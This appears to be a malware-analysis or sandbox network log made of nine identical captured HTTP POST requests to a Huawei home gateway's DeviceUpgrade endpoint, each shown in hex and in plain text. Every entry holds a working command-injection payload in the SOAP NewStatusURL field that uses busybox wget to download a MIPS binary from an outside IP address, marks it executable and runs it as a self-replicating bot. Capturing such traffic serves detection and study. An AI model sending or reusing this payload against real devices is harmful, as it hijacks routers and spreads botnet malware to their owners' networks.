Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
